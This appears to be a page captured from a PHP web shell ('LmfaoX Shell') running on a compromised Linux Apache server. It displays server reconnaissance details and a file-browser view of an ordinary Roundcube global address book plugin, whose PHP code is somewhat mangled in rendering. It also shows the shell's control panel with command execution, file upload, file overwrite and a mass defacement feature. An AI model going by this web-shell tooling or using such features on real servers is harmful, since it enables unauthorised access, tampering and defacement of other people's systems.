ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:30.6 GB of 70.42 GB (43.46%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ mail.1/ plugins/ Roundcube-Plugin-Global-Address-Book-master/ - drwxr-xr-x

Directory:
Viewing file:     globaladdressbook.php (2.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * GlobalAddressbook
 *
 * Plugin to add a global address book
 *
 * @version @package_version@
 * @author Philip Weir
 */
class globaladdressbook extends rcube_plugin
{
    public 
$task 'mail|addressbook|settings|dummy';
    private 
$abook_id 'global';
    private 
$readonly;
    private 
$groups;
    private 
$name;
    private 
$user_id;
    private 
$user_name;
    private 
$host 'localhost';

    public function 
init()
    {
        
$rcmail rcube::get_instance();
        
$this->load_config();
        
$this->add_texts('localization/');

        
$this->user_name $rcmail->config->get('globaladdressbook_user');
        
$this->user_name str_replace('%d'$rcmail->user->get_username('domain'), $this->user_name);
        
$this->user_name str_replace('%h'$_SESSION['storage_host'], $this->user_name);
        
$this->readonly $this->_is_readonly();
        
$this->groups $rcmail->config->get('globaladdressbook_groups'false);
        
$this->name $this->gettext('globaladdressbook');

        
// check if the global address book user exists
        
if (!($user rcube_user::query($this->user_name$this->host))) {
            
// this action overrides the current user information so make a copy and then restore it
            
$cur_user $rcmail->user;
            
$user rcube_user::create($this->user_name$this->host);
            
$rcmail->user $cur_user;

            
// prevent new_user_dialog plugin from triggering
            
$_SESSION['plugin.newuserdialog'] = false;
        }

        
$this->user_id $user->ID;

        
// use this address book for autocompletion queries
        
if ($rcmail->config->get('globaladdressbook_autocomplete')) {
            
$sources $rcmail->config->get('autocomplete_addressbooks', array('sql'));
            if (!
in_array($this->abook_id$sources)) {
                
$sources[] = $this->abook_id;
                
$rcmail->config->set('autocomplete_addressbooks'$sources);
            }
        }

        
$this->add_hook('addressbooks_list', array($this'address_sources'));
        
$this->add_hook('addressbook_get', array($this'get_address_book'));
    }

    public function 
address_sources($args)
    {
        
$args['sources'][$this->abook_id] = array('id' => $this->abook_id'name' => $this->name'readonly' => $this->readonly'groups' => $this->groups);
        return 
$args;
    }

    public function 
get_address_book($args)
    {
        if (
$args['id'] === $this->abook_id) {
            
$args['instance'] = new rcube_contacts(rcube::get_instance()->db$this->user_id);
            
$args['instance']->readonly $this->readonly;
            
$args['instance']->groups $this->groups;
            
$args['instance']->name $this->name;
        }

        return 
$args;
    }

    private function 
_is_readonly()
    {
        
$rcmail rcube::get_instance();

        if (!
$rcmail->config->get('globaladdressbook_readonly'))
            return 
false;

        if (
$admin $rcmail->config->get('globaladdressbook_admin')) {
            if (!
is_array($admin)) $admin = array($admin);

            foreach (
$admin as $user) {
                if (
strpos($user'/') == && substr($user, -1) == '/') {
                    if (
preg_match($user$_SESSION['username']))
                        return 
false;
                }
                elseif (
$user == $_SESSION['username'])
                    return 
false;
            }
        }

        return 
true;
    }
}

?>
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.7713 seconds